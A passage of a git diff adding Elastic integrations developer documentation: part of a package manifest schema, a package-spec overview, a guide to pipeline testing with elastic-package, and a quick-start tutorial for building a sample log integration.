+ It is disabled by default.
+ type: boolean
+ default: false
+ is_default:
+ description: >
+ On policy templates that support multiple deployment modes, this setting can be set to
+ true to use agentless mode by default.
+ type: boolean
+ default: false
+ organization:
+ description: >
+ The responsible organization of the integration. This is used to tag the agentless agent deployments
+ for monitoring.
+ type: string
+ examples:
+ - "security"
+ division:
+ description: >
+ The division responsible for the integration. This is used to tag the agentless agent deployments
+ for monitoring.
+ type: string
+ examples:
+ - "cloud-security"
+ team:
+ description: >
+ The team responsible for the integration. This is used to tag the agentless
+ agent deployments for monitoring.
+ type: string
+ examples:
+ - "cloud-security-posture-management"
+ resources:
+ description: >
+ The computing resources specifications for the Agentless deployment.
+ type: object
+ additionalProperties: false
+ properties:
+ requests:
+ description: >
+ The computing resources that the Agentless deployment will be initially allocated.
+ type: object
+ additionalProperties: false
+ properties:
+ memory:
+ description: >
+ The amount of memory that the Agentless deployment will be initially allocated.
+ type: string
+ examples:
+ - "1G"
+ - "1.5G"
+ cpu:
+ description: >
+ The amount of CPUs that the Agentless deployment will be initially allocated.
+ type: string
+ examples:
+ - "1"
+ - "1.5"
+ - "1500m"
+ allOf:
+ - if:
+ properties:
+ enabled:
+ const: true
+ then:
+ required:
+ - organization
+ - division
+ - team
+ configuration_links:
+ description: List of links related to inputs and policy templates.
+ type: array
+ minItems: 1
+ items:
+ type: object
+ additionalProperties: false
+ properties:
+ title:
+ description: Link title
+ type: string
+ url:
+ description: Link url. Format is `http://...` or `https://...` for external links, `kbn:/app/...` for links internal to Kibana.
+ type: string
+ pattern: '^(http(s)?://|kbn:/)'
+ type:
+ description: Type of link. `next_steps` for links to locations that can be relevant right after configuring the policy. `action` for actions that can be performed while the policy is in use.
+ type: string
+ enum:
+ - action
+ - next_step
+ content:
+ description: Link description
+ type: string
+ required:
+ - title
+ - url
+ - type
+ icons:
+ description: List of icons for by this package.
+ type: array
+ items:
+ type: object
+ additionalProperties: false
+ properties:
+ src:
+ description: Relative path to the icon's image file.
+ type: string
+ format: relative-path
+ examples:
+ - "/img/logo_apache.svg"
+ title:
+ description: Title of icon.
+ type: string
+ examples:
+ - "Apache Logo"
+ size:
+ description: Size of the icon.
+ type: string
+ examples:
+ - "32x32"
+ type:
+ description: MIME type of the icon image file.
+ type: string
+ examples:
+ - "image/svg+xml"
+ dark_mode:
+ description: Is this icon to be shown in dark mode?
+ type: boolean
+ default: false
+ required:
+ - src
+ screenshots:
+ description: List of screenshots of Kibana assets created by this package.
+ type: array
+ items:
+ type: object
+ additionalProperties: false
+ properties:
+ src:
+ description: Relative path to the screenshot's image file.
+ type: string
+ format: relative-path
+ examples:
+ - "/img/apache_httpd_server_status.png"
+ title:
+ description: Title of screenshot.
+ type: string
+ examples:
+ - "Apache HTTPD Server Status"
+ size:
+ description: Size of the screenshot.
+ type: string
+ examples:
+ - "1215x1199"
+ type:
+ description: MIME type of the screenshot image file.
+ type: string
+ examples:
+ - "image/png"
+ required:
+ - src
+ - title
+ source:
+ description: Information about the source of the package.
+ type: object
+ additionalProperties: false
+ properties:
+ license:
+ description: Identifier of the license of the package, as specified in https://spdx.org/licenses/.
+ type: string
+ enum:
+ - "Apache-2.0"
+ - "Elastic-2.0"
+ examples:
+ - "Elastic-2.0"
+ title:
+ description: >
+ Title of the package. It should be the usual title given to the product, service or
+ kind of source being managed by this package.
+ type: string
+ examples:
+ - Apache HTTP Server
+ - MySQL
+ - AWS
+ version:
+ description: Version of the package, following semantic versioning. It can include pre-release labels.
+ type: string
+ pattern: '^([0-9]+)\.([0-9]+)\.([0-9]+)(?:-([0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*))?(?:\+[0-9A-Za-z-]+)?$'
+ examples:
+ - "1.0.0"
+ - "1.0.0-beta1"
+ - "1.0.0-SNAPSHOT"
+ - "1.0.0-next"
+ owner:
+ type: object
+ additionalProperties: false
+ properties:
+ github:
+ description: Github team name of the package maintainer.
+ type: string
+ pattern: '^(([a-zA-Z0-9-_]+)|([a-zA-Z0-9-_]+\/[a-zA-Z0-9-_]+))$'
+ examples:
+ - "elastic"
+ - "apm-agent-java"
+ - "ux_infra_team"
+ type:
+ description: >
+ Describes who owns the package and the level of support that is
+ provided. The 'elastic' value indicates that the package is built
+ and maintained by Elastic. The 'partner' value indicates that the
+ package is built and maintained by a partner vendor and may include
+ involvement from Elastic. The 'community' value indicates the package
+ is built and maintained by non-Elastic community members.
+ type: string
+ default: community
+ enum:
+ - elastic
+ - partner
+ - community
+ examples:
+ - community
+ required:
+ - github
+ - type
+ properties:
+ format_version:
+ description: The version of the package specification format used by this package.
+ $ref: "#/definitions/version"
+ name:
+ description: The name of the package.
+ type: string
+ pattern: '^[a-z0-9_]+$'
+ examples:
+ - apache
+ title:
+ $ref: "#/definitions/title"
+ description:
+ $ref: "#/definitions/description"
+ version:
+ description: The version of the package.
+ $ref: "#/definitions/version"
+ source:
+ $ref: "#/definitions/source"
+ type:
+ description: The type of package.
+ type: string
+ enum:
+ - integration
+ examples:
+ - integration
+ categories:
+ $ref: "#/definitions/categories"
+ conditions:
+ $ref: "#/definitions/conditions"
+ # requires a conditional JSON schema to update the value depending
+ # on the policy_templates length
+ policy_templates_behavior:
+ description: >
+ Expected behavior when there are more than one policy template defined.
+ When set to `combined_policy`, a single policy template is available that
+ combines all the defined templates. When set to `individual_policies`, all
+ policies are individually available, but there is no combined policy.
+ The default value is `all`, where the combined policy template is available
+ along with the individual policies.
+ type: string
+ policy_templates:
+ description: List of policy templates offered by this package.
+ type: array
+ items:
+ type: object
+ additionalProperties: false
+ properties:
+ name:
+ description: Name of policy template.
+ type: string
+ examples:
+ - apache
+ title:
+ description: Title of policy template.
+ type: string
+ examples:
+ - Apache logs and metrics
+ categories:
+ $ref: "#/definitions/categories"
+ description:
+ description: Longer description of policy template.
+ type: string
+ examples:
+ - Collect logs and metrics from Apache instances
+ data_streams:
+ description: List of data streams compatible with the policy template.
+ type: array
+ items:
+ type: string
+ description: Data stream name
+ format: data-stream-name
+ examples:
+ - ec2_logs
+ - spamfirewall
+ - access
+ deployment_modes:
+ $ref: "#/definitions/deployment_modes"
+ configuration_links:
+ $ref: "#/definitions/configuration_links"
+ inputs:
+ description: List of inputs supported by policy template.
+ type: array
+ items:
+ type: object
+ additionalProperties: false
+ properties:
+ type:
+ description: Type of input.
+ type: string
+ title:
+ description: Title of input.
+ type: string
+ examples:
+ - Collect logs from Apache instances
+ description:
+ description: Longer description of input.
+ type: string
+ examples:
+ - Collecting Apache access and error logs
+ template_path:
+ description: Path of the config template for the input.
+ type: string
+ examples:
+ - ./agent/input/template.yml.hbs
+ input_group:
+ description: Name of the input group
+ type: string
+ enum:
+ - logs
+ - metrics
+ multi:
+ description: Can input be defined multiple times
+ type: boolean
+ default: false
+ required_vars:
+ $ref: "./data_stream/manifest.spec.yml#/definitions/required_vars"
+ vars:
+ $ref: "./data_stream/manifest.spec.yml#/definitions/vars"
+ required:
+ - type
+ - title
+ - description
+ multiple:
+ type: boolean
+ icons:
+ $ref: "#/definitions/icons"
+ screenshots:
+ $ref: "#/definitions/screenshots"
+ vars:
+ $ref: "./data_stream/manifest.spec.yml#/definitions/vars"
+ required:
+ - name
+ - title
+ - description
+ icons:
+ $ref: "#/definitions/icons"
+ screenshots:
+ $ref: "#/definitions/screenshots"
+ vars:
+ $ref: "./data_stream/manifest.spec.yml#/definitions/vars"
+ owner:
+ $ref: "#/definitions/owner"
+ agent:
+ $ref: "#/definitions/agent"
+ elasticsearch:
+ description: Elasticsearch requirements
+ type: object
+ additionalProperties: false
+ properties:
+ privileges:
+ description: Elasticsearch privilege requirements
+ type: object
+ additionalProperties: false
+ properties:
+ cluster:
+ # Available cluster privileges are available at https://www.elastic.co/guide/en/elasticsearch/reference/7.16/security-privileges.html#privileges-list-cluster
+ description: Elasticsearch cluster privilege requirements
+ type: array
+ items:
+ type: string
+ required:
+ - format_version
+ - name
+ - title
+ - description
+ - version
+ - type
+ - owner
+ allOf:
+ - if:
+ properties:
+ policy_templates:
+ maxItems: 1
+ then:
+ properties:
+ policy_templates_behavior:
+ enum:
+ - all
+ default: all
+ else:
+ properties:
+ policy_templates_behavior:
+ enum:
+ - combined_policy
+ - individual_policies
+ - all
+ default: all
+
+# JSON patches for newer versions should be placed on top
+versions:
+ - before: 3.3.2
+ patch:
+ - op: remove
+ path: "/properties/policy_templates/items/properties/inputs/items/properties/required_vars"
+ - op: remove
+ path: "/definitions/deployment_modes/properties/agentless/properties/is_default"
+ - op: remove
+ path: "/definitions/deployment_modes/properties/agentless/properties/resources"
+ - before: 3.3.1
+ patch:
+ - op: remove
+ path: "/properties/policy_templates/items/properties/configuration_links"
+ - before: 3.2.0
+ patch:
+ - op: remove
+ path: "/definitions/deployment_modes/properties/default"
+ - before: 3.1.4
+ patch:
+ - op: remove
+ path: "/properties/policy_templates/items/properties/deployment_modes"
+ - before: 3.0.0
+ patch:
+ - op: replace
+ path: "/definitions/owner/required"
+ value:
+ - github
+ - before: 2.12.0
+ patch:
+ - op: remove
+ path: "/properties/agent"
+ - before: 2.11.0
+ patch:
+ - op: replace
+ path: "/definitions/owner/properties/type/default"
+ value: elastic
+ - before: 2.10.0
+ patch:
+ - op: remove
+ path: "/definitions/conditions/properties/elastic/properties/capabilities"
+ - before: 2.3.0
+ patch:
+ - op: add
+ path: "/properties/release"
+ value:
+ description: The stability of the package (deprecated, use prerelease tags in the version).
+ deprecated: true # See https://github.com/elastic/package-spec/issues/225
+ type: string
+ enum:
+ - experimental
+ - beta
+ - ga
+ default: ga
+ examples:
+ - experimental
+ - before: 2.0.0
+ patch:
+ - op: add
+ path: "/properties/license"
+ value:
+ description: The license under which the package is being released (deprecated, use subscription instead).
+ deprecated: true # See https://github.com/elastic/package-spec/issues/298.
+ type: string
+ enum:
+ - basic
+ default: basic
+ examples:
+ - basic
+```
diff --git a/docs/extend/package-spec.md b/docs/extend/package-spec.md
new file mode 100644
index 00000000000..0396c0e5346
--- /dev/null
+++ b/docs/extend/package-spec.md
@@ -0,0 +1,168 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/package-spec.html
+---
+
+# Package specification [package-spec]
+
+Integrations are a type of package and therefore must adhere to the Elastic package specification. The package specification describes:
+
+* The folder structure of a package and the expected files within these folders
+* The structure of expected files' contents
+
+
+### Asset organization [asset-organization]
+
+In general, assets within a package are organized by `/`. For example, ingest pipelines are stored in the `elasticsearch/ingest-pipeline` folder. This logic applies to all {{es}}, {{kib}}, and Agent assets.
+
+Top-level assets are picked up as JSON documents and pushed to the corresponding {{es}} and {{kib}} APIs.
+
+
+#### Data streams [data-streams]
+
+There is a specific folder called `data_stream`. Each data stream should have its folder of assets within this folder, and the names of these data streams must follow the data stream naming scheme.
+
+The contents of these folders follow the `/` structure. During installation, {{fleet}} enforces data stream naming rules. All assets in this folder belong directly or indirectly to data streams.
+
+In most scenarios, only data stream assets are needed. However, there are exceptions where global assets are required to get more flexibility. For example, an {{ilm-init}} policy that applies to all data streams.
+
+
+### Supported assets [supported-assets]
+
+The following assets are typically found in an Elastic package:
+
+* {es}
+
+ * Ingest Pipeline
+ * Index Template
+ * Transform
+ * Index template settings
+
+* {kib}
+
+ * Dashboards
+ * Visualization
+ * {data-sources-cap}
+ * {{ml-init}} Modules
+ * Map
+ * Search
+ * Security rules
+
+* Other
+
+ * fields.yml
+
+
+
+### Directory structure [directory-structure]
+
+```text
+apache
+│ changelog.yml
+│ manifest.yml
+└───_dev
+└───data_stream
+└───docs
+└───img
+└───kibana
+```
+
+
+### Spec [directory-spec]
+
+Included from the package-spec repository. This will update when the spec is updated.
+
+```yaml
+##
+## Entrypoint of "integration packages" specification.
+##
+## Describes the folders and files that make up a package.
+##
+spec:
+ additionalContents: true
+ totalContentsLimit: 65535
+ totalSizeLimit: 250MB
+ sizeLimit: 150MB
+ configurationSizeLimit: 5MB
+ relativePathSizeLimit: 3MB
+ fieldsPerDataStreamLimit: 2048
+ contents:
+ - description: The main package manifest file
+ type: file
+ contentMediaType: "application/x-yaml"
+ sizeLimit: 5MB
+ name: "manifest.yml"
+ required: true
+ $ref: "./manifest.spec.yml"
+ - description: The package's CHANGELOG file
+ type: file
+ contentMediaType: "application/x-yaml"
+ name: "changelog.yml"
+ required: true
+ $ref: "./changelog.spec.yml"
+ - description: The package's NOTICE file
+ type: file
+ contentMediaType: "text/plain"
+ name: "NOTICE.txt"
+ required: false
+ - description: The package's license file
+ type: file
+ contentMediaType: "text/plain"
+ name: "LICENSE.txt"
+ required: false
+ - description: Folder containing data stream definitions
+ type: folder
+ name: data_stream
+ required: false
+ $ref: "./data_stream/spec.yml"
+ - description: Folder containing documentation for the package
+ type: folder
+ name: docs
+ required: true
+ $ref: "./docs/spec.yml"
+ - description: Folder containing agent-related definitions
+ type: folder
+ name: agent
+ required: false
+ $ref: "./agent/spec.yml"
+ - description: Folder containing Kibana assets used by the package
+ type: folder
+ name: kibana
+ required: false
+ $ref: "./kibana/spec.yml"
+ - description: Folder containing development resources
+ type: folder
+ name: _dev
+ required: false
+ visibility: private
+ $ref: "./_dev/spec.yml"
+ - description: Folder containing Elasticsearch assets used by the package
+ type: folder
+ name: elasticsearch
+ required: false
+ $ref: "./elasticsearch/spec.yml"
+ - description: Configuration file to process the results returned from the package validation. This file is just for package validation and it should be ignored when installing or using the package.
+ type: file
+ contentMediaType: "application/x-yaml"
+ name: "validation.yml"
+ required: false
+ $ref: "./validation.spec.yml"
+ - description: Folder containing images for the package
+ type: folder
+ name: img
+ required: false
+ $ref: "./img/spec.yml"
+
+versions:
+ - before: 3.2.2
+ patch:
+ - op: remove
+ path: "/contents/11" # Definition for img folder.
+```
+
+
+
+
+
+
+
diff --git a/docs/extend/pipeline-testing.md b/docs/extend/pipeline-testing.md
new file mode 100644
index 00000000000..fe284b91d56
--- /dev/null
+++ b/docs/extend/pipeline-testing.md
@@ -0,0 +1,193 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/pipeline-testing.html
+---
+
+# Pipeline testing [pipeline-testing]
+
+Elastic Packages comprise of data streams. A pipeline test exercises {{es}} Ingest Node pipelines defined for a package’s data stream.
+
+
+## Conceptual process [pipeline-concepts]
+
+Conceptually, running a pipeline test involves the following steps:
+
+1. Deploy the {{es}} instance (part of the {{stack}}). This step takes time, so you should typically do it once as a prerequisite to running pipeline tests on multiple data streams.
+2. Upload ingest pipelines to be tested.
+3. Use the [Simulate API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-simulate) to process logs/metrics with the ingest pipeline.
+4. Compare generated results with expected ones.
+
+
+## Limitations [pipeline-limitations]
+
+At the moment, pipeline tests have limitations. The main ones are: * As you’re only testing the ingest pipeline, you can prepare mocked documents with imaginary fields, different from ones collected in {{beats}}. Also, the other way round, you can skip most of the example fields and use tiny documents with a minimal set of fields just to satisfy the pipeline validation. * There might be integrations that transform data mainly using {{beats}} processors instead of ingest pipelines. In such cases, ingest pipelines are rather plain.
+
+
+## Defining a pipeline test [pipeline-defining-test]
+
+Packages have a specific folder structure (only relevant parts shown).
+
+```bash
+/
+ data_stream/
+ /
+ manifest.yml
+ manifest.yml
+```
+
+To define a pipeline test we must define configuration at each dataset’s level:
+
+```bash
+/
+ data_stream/
+ /
+ _dev/
+ test/
+ pipeline/
+ (test case definitions, both raw files and input events, optional configuration)
+ manifest.yml
+ manifest.yml
+```
+
+
+### Test case definitions [pipeline-test-case]
+
+There are two types of test case definitions - **raw files** and **input events**.
+
+
+#### Raw files [pipeline-raw-files]
+
+The raw files simplify preparing test cases using real application `.log` files. A sample log (e.g. `test-access-sample.log`) file may look like the following one for Nginx:
+
+```bash
+127.0.0.1 - - [07/Dec/2016:11:04:37 +0100] "GET /test1 HTTP/1.1" 404 571 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36"
+127.0.0.1 - - [07/Dec/2016:11:04:58 +0100] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0"
+127.0.0.1 - - [07/Dec/2016:11:04:59 +0100] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0"
+```
+
+
+#### Input events [pipeline-input-events]
+
+The input events contain mocked JSON events that are ready to be passed to the ingest pipeline as-is. Such events can be helpful in situations in which an input event can’t be serialized to a standard log file, e.g. Redis input. A sample file with input events (e.g. `test-access-event.json`) looks as follows:
+
+```json
+{
+ "events": [
+ {
+ "@timestamp": "2016-10-25T12:49:34.000Z",
+ "message": "127.0.0.1 - - [07/Dec/2016:11:04:37 +0100] \"GET /test1 HTTP/1.1\" 404 571 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36\"\n"
+ },
+ {
+ "@timestamp": "2016-10-25T12:49:34.000Z",
+ "message": "127.0.0.1 - - [07/Dec/2016:11:05:07 +0100] \"GET /taga HTTP/1.1\" 404 169 \"-\" \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0\"\n"
+ }
+ ]
+}
+```
+
+
+#### Test configuration [pipeline-test-config]
+
+Before sending log events to the ingest pipeline, a data transformation process is applied. The process can be customized using an optional configuration stored as a YAML file with the suffix `-config.yml` (e.g. `test-access-sample.log-config.yml`):
+
+```yaml
+multiline:
+ first_line_pattern: "^(?:[0-9]{1,3}\\.){3}[0-9]{1,3}"
+fields:
+ "@timestamp": "2020-04-28T11:07:58.223Z"
+ ecs:
+ version: "1.5.0"
+ event.category:
+ - "web"
+dynamic_fields:
+ url.original: "^/.*$"
+numeric_keyword_fields:
+ - network.iana_number
+```
+
+The `multiline` section [raw files only](#pipeline-raw-files) configures the log file reader to detect multiline log entries using the `first_line_pattern`. Use this property if you may split your logs into multiple lines, e.g. Java stack traces.
+
+The `fields` section allows for customizing extra fields to be added to every read log entry (e.g. `@timestamp`, `ecs`). Use this property to extend your logs with data that can’t be extracted from log content, but it’s fine to have the same field values for every record (e.g. timezone, hostname).
+
+The `dynamic_fields` section allows for marking fields as dynamic (every time they have different non-static values), so that pattern matching instead of strict value check is applied.
+
+The `numeric_keyword_fields` section identifies fields whose values are numbers but are expected to be stored in {{es}} as `keyword` fields.
+
+
+#### Expected results [pipeline-expected-results]
+
+Once the Simulate API processes the input data, the pipeline test runner will compare them with expected results. Test results are stored as JSON files with the suffix `-expected.json`. A sample test results file is shown below.
+
+```json
+{
+ "expected": [
+ {
+ "@timestamp": "2016-12-07T10:04:37.000Z",
+ "nginx": {
+ "access": {
+ "remote_ip_list": [
+ "127.0.0.1"
+ ]
+ }
+ },
+ ...
+ },
+ {
+ "@timestamp": "2016-12-07T10:05:07.000Z",
+ "nginx": {
+ "access": {
+ "remote_ip_list": [
+ "127.0.0.1"
+ ]
+ }
+ },
+ ...
+ }
+ ]
+}
+```
+
+It’s possible to generate the expected test results from the output of the Simulate API. To do so, use the `--generate` switch:
+
+```bash
+elastic-package test pipeline --generate
+```
+
+
+## Running a pipeline test [pipeline-running-test]
+
+Once the configurations are defined as described in the previous section, you are ready to run pipeline tests for a package’s data streams.
+
+First, you must deploy the {{es}} instance. This corresponds to step 1 as described in the [Conceptual-process](#pipeline-concepts) section.
+
+```bash
+elastic-package stack up -d --services=elasticsearch
+```
+
+For a complete listing of options available for this command, run `elastic-package stack up -h` or `elastic-package help stack up`.
+
+Next, you must set environment variables needed for further `elastic-package` commands.
+
+```bash
+$(elastic-package stack shellinit)
+```
+
+Next, you must invoke the pipeline tests runner. This corresponds to steps 2 through 4 as described in the [Conceptual-process](#pipeline-concepts) section.
+
+If you want to run pipeline tests for **all data streams** in a package, navigate to the package’s root folder (or any sub-folder under it) and run the following command.
+
+```bash
+elastic-package test pipeline
+```
+
+If you want to run pipeline tests for **specific data streams** in a package, navigate to the package’s root folder (or any sub-folder under it) and run the following command.
+
+```bash
+elastic-package test pipeline --data-streams [,,...]
+```
+
+Finally, when you are done running all pipeline tests, bring down the {{stack}}. This corresponds to step 4 as described in the [Conceptual-process](#pipeline-concepts) section.
+
+```bash
+elastic-package stack down
+```
diff --git a/docs/extend/quick-start.md b/docs/extend/quick-start.md
new file mode 100644
index 00000000000..dd733a848c5
--- /dev/null
+++ b/docs/extend/quick-start.md
@@ -0,0 +1,435 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/quick-start.html
+---
+
+# Quick start: Sample integration [quick-start]
+
+::::{note}
+This quick start is designed for users familiar with the {{stack}}. If you’re new to Elastic, [*Build an integration*](/extend/build-new-integration.md) provides an in-depth look at creating a new integration.
+::::
+
+
+This is a quick guide on how you can build your own integration package and upload it to Kibana.
+
+Follow these steps to create an integration package named `sample` and then add a `logs` dataset. The same procedure can be used for a `metrics` dataset, however for your first integration package `logs` is a bit simpler because a custom input is not required.
+
+* [Prerequisites](#qs-prereqs)
+* [Step 1: Create the package](#qs-create-package)
+* [Step 2: Upload the package to Kibana](#qs-test-upload)
+* [Step 3: Create a dataset](#qs-create-dataset)
+* [Step 4: Add processing](#qs-add-processing)
+* [Step 5: Release a new version](#qs-release-new-version)
+* [Step 6: Ingest data](#qs-ingest-data)
+* [What’s next?](#qs-whats-next)
+
+
+## Prerequisites [qs-prereqs]
+
+You’ll need to have a few requirements in place to run this tutorial:
+
+* [elastic-package](https://github.com/elastic/elastic-package) installed on your machine. This is a command line tool, written in Go, used for developing Elastic packages. It can help you lint, format, test, build, and promote your packages. Setup instructions can be found in the elastic-package repository readme.
+* A [GitHub repository](https://github.com/) where you can upload your integration package.
+* [Docker](https://www.docker.com/) set up and running on your machine.
+
+
+## Step 1: Create the package [qs-create-package]
+
+1. To start, from inside a Git repository, run the `elastic-package create package` command. This will launch a wizard that will prompt you for some details, and will then build an empty package with all the necessary parts:
+
+ ```console
+ elastic-package create package
+ ```
+
+2. Respond to prompts as follows:
+
+ * Package type: `integration`
+ * Package name: `sample`
+ * Version: `0.0.1`
+ * License: `Elastic-2.0`
+ * Package title: `My sample package`
+ * Description: `My first integrations package to collect logs`
+ * Categories: `custom`
+ * Kibana version constraint: `^8.12.2`
+ * Required Elastic subscription: `basic`
+ * Github owner: ``
+ * Owner type: `elastic`
+
+3. After entering the details, the command should return a confirmation that your package has been created.
+4. Change into the new `sample` package directory.
+
+ ```console
+ cd sample
+ ```
+
+5. Validate that the new integration package was created correctly.
+
+ 1. Check the linting rules for the package
+
+ ```console
+ elastic-package lint
+ ```
+
+ 2. Format the package to fix linting
+
+ ```console
+ elastic-package format
+ ```
+
+ 3. Build a `.zip` file out of the package assets
+
+ ```console
+ elastic-package build
+ ```
+
+ 4. If you prefer, you can also run the three previous commands as a single batch:
+
+ ```console
+ elastic-package check
+ ```
+
+
+
+## Step 2: Upload the package to Kibana [qs-test-upload]
+
+1. To test that your package can be installed into Kibana, a cluster needs to spin up. For this step you to have a running Docker setup. Run the following command:
+
+ ```console
+ elastic-package stack up --version=8.12.2 -v
+ ```
+
+ This spins up a cluster with the version 8.12.2 of the {{stack}}. The cluster can be accessed in your browser at [https://localhost:5601](https://localhost:5601) with username `elastic` and password `changeme`.
+
+ ::::{note}
+ * If you want to update to the latest {{stack}} version, run `elastic-package stack update --version=8.12.2 -v`.
+ * You can also install the package directly into an existing cluster for testing. Steps and customization options for the `install` command are described in this [How To guide](https://github.com/elastic/elastic-package/blob/main/docs/howto/install_package.md) in the `elastic-package` repository.
+
+ ::::
+
+2. After the cluster has finished setting up, open a second terminal window and run the following command to install your package:
+
+ ```console
+ elastic-package install
+ ```
+
+3. After the command runs, check that your new package appears in Kibana under **Management > Integrations > Installed integrations**.
+
+ :::{image} ../images/package-installed.png
+ :alt: Kibana installed integrations tab with a card for my sample package
+ :::
+
+
+
+## Step 3: Create a dataset [qs-create-dataset]
+
+You’ve now built an integration package, but it does not contain any assets. For the goal of starting to collect logs, you need to create a dataset, and for it the Elasticsearch mappings and ingest pipelines. If you want to be able to collect data through a managed {{agent}}, you also need to add an agent policy template.
+
+1. Create a new dataset:
+
+ ```console
+ elastic-package create data-stream
+ ```
+
+2. When prompted, provide the following details:
+
+ * Data stream name: log
+ * Data stream title: My log lines
+ * Type: logs
+
+ The command creates the required data in the `/data_stream/log` directory. If you pick `log` as data stream name, the dataset is called `sample.log` and the final data stream created will be `logs-sample.log-default` as an example.
+
+3. To not have to worry about mappings, you can pull in all [Elastic Common Schema (ECS) fields][Elastic Common Schema (ECS)](ecs://reference/index.md)). To do this, create the file `_dev/build/build.yml` under the root directory and add the following content:
+
+ ```yaml
+ dependencies:
+ ecs:
+ reference: git@v8.6.0
+ import_mappings: true
+ ```
+
+4. It’s always a good idea to re-check to make sure that your package still builds and works as expected.
+
+ ```console
+ elastic-package check
+ ```
+
+5. Re-install your package.
+
+ ```console
+ elastic-package install
+ ```
+
+ This reinstalls the package and create mapping templates for `logs-sample.log-*`. You can also add your own mappings under `data_stream/log/fields/fields.yml` if needed.
+
+
+
+## Step 4: Add processing [qs-add-processing]
+
+You can now already ship log files to `logs-sample.log-default` but no processing will happen. So, let’s create a sample log file.
+
+1. Create a file `test-sample.log` with the following contents, and save it anywhere on your local machine.
+
+ ```console
+ 2024-04-21T13:44:56.657+0100 INFO Hello world
+ 2024-04-21T13:45:56.657+0100 INFO This is a nice day
+ 2024-04-21T13:46:56.657+0100 INFO I am working on stuff
+ ```
+
+ Each line of the log file will be shipped by {{agent}} as a document with the message field containing the log line. You will set up the dissect processor to take the log line apart into `@timestamp`, `log.level`, and `message`.
+
+2. Next, test your ingest pipeline. In {{kib}} navigate to **Management > Dev Tools** and run the [Simulate pipeline API](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-ingest-simulate):
+
+ ```console
+ POST /_ingest/pipeline/_simulate
+ {
+ "pipeline" :
+ {
+ "description": "logs-sample.log",
+ "processors": [
+ {
+ "dissect" : {
+ "field" : "message",
+ "pattern" : "%{@timestamp} %{log.level} %{message}"
+ }
+ }
+ ]
+ },
+ "docs": [
+ {
+ "_index": "index",
+ "_id": "id",
+ "_source": {
+ "message": "2023-02-21T13:46:56.657+0100 INFO I am working on stuff"
+ }
+ }
+ ]
+ }
+ ```
+
+ This returns:
+
+ ```console
+ {
+ "docs": [
+ {
+ "doc": {
+ "_index": "index",
+ "_version": "-3",
+ "_id": "id",
+ "_source": {
+ "@timestamp": "2023-02-21T13:46:56.657+0100",
+ "message": "I am working on stuff",
+ "log": {
+ "level": "INFO"
+ }
+ },
+ "_ingest": {
+ "timestamp": "2024-04-30T17:51:22.16442471Z"
+ }
+ }
+ }
+ ]
+ }
+ ```
+
+3. Now that you’ve confirmed that the ingest pipeline is working, add it to your dataset by modifying `data_stream/log/elasticsearch/ingest_pipline/default.yml` to:
+
+ ```console
+ description: Pipeline for processing sample logs
+ processors:
+ - dissect:
+ field: message
+ pattern: "%{@timestamp} %{log.level} %{message}"
+ on_failure:
+ - set:
+ field: error.message
+ value: '{{ _ingest.on_failure_message }}'
+ ```
+
+4. Now run `elastic-package check` again and then re-upload the package with `elastic-package install`. This installs your new ingest pipeline.
+5. Do a quick test run to test the new pipeline. In the **Dev tools** console, run:
+
+ ```console
+ POST logs-sample.log-default/_doc
+ {
+ "message": "2023-02-21T13:46:56.657+0100 INFO I am working on stuff"
+ }
+ ```
+
+ The response is:
+
+ ```console
+ {
+ "_index": ".ds-logs-sample.log-default-2024.04.30-000001",
+ "_id": "BsUtMI8BQEniT9Md_TYh",
+ "_version": 1,
+ "result": "created",
+ "_shards": {
+ "total": 2,
+ "successful": 1,
+ "failed": 0
+ },
+ "_seq_no": 0,
+ "_primary_term": 1
+ }
+ ```
+
+6. Now run:
+
+ ```console
+ GET logs-sample.log-default/_search
+ ```
+
+ The response is:
+
+ ```console
+ {
+ "took": 1,
+ "timed_out": false,
+ "_shards": {
+ "total": 1,
+ "successful": 1,
+ "skipped": 0,
+ "failed": 0
+ },
+ "hits": {
+ "total": {
+ "value": 1,
+ "relation": "eq"
+ },
+ "max_score": 1,
+ "hits": [
+ {
+ "_index": ".ds-logs-sample.log-default-2024.04.30-000001",
+ "_id": "BsUtMI8BQEniT9Md_TYh",
+ "_score": 1,
+ "_source": {
+ "@timestamp": "2023-02-21T13:46:56.657+0100",
+ "message": "I am working on stuff",
+ "event": {
+ "agent_id_status": "missing",
+ "ingested": "2024-04-30T18:04:31Z"
+ },
+ "log": {
+ "level": "INFO"
+ }
+ }
+ }
+ ]
+ }
+ }
+ ```
+
+
+Now that you can see the dissected message documented, you’re ready to ingest data.
+
+
+## Step 5: Release a new version [qs-release-new-version]
+
+1. Since your initial `0.0.1` version of the package, many modifications have been made. To build a new package version, open the `sample/manifest.yml` file and change the package version to `0.2.0`:
+
+ ```console
+ format_version: 3.1.3
+ name: sample
+ title: "My sample package"
+ version: 0.2.0
+ ```
+
+2. You also need to add an entry to your `sample/changelog.yml` file. Make sure to add the new entry at the top of the file:
+
+ ```console
+ - version: "0.2.0"
+ changes:
+ - description: Added sample log processing pipeline
+ type: enhancement
+ link: http://fake-link
+ ```
+
+ ::::{note}
+ You can also update the changelog file automatically using the [`elastic-package changelog`](https://github.com/elastic/elastic-package?tab=readme-ov-file#elastic-package-changelog) command.
+ ::::
+
+3. Run `elastic-package check` again and then the `elastic-package install` command.
+
+ The `0.1.0` version of the package is updated to version `0.2.0`. Only one version of a package can be installed at a time, but, following these steps, different versions of a package can be rolled out over time.
+
+
+When developing integrations the following versioning guidelines should be used:
+
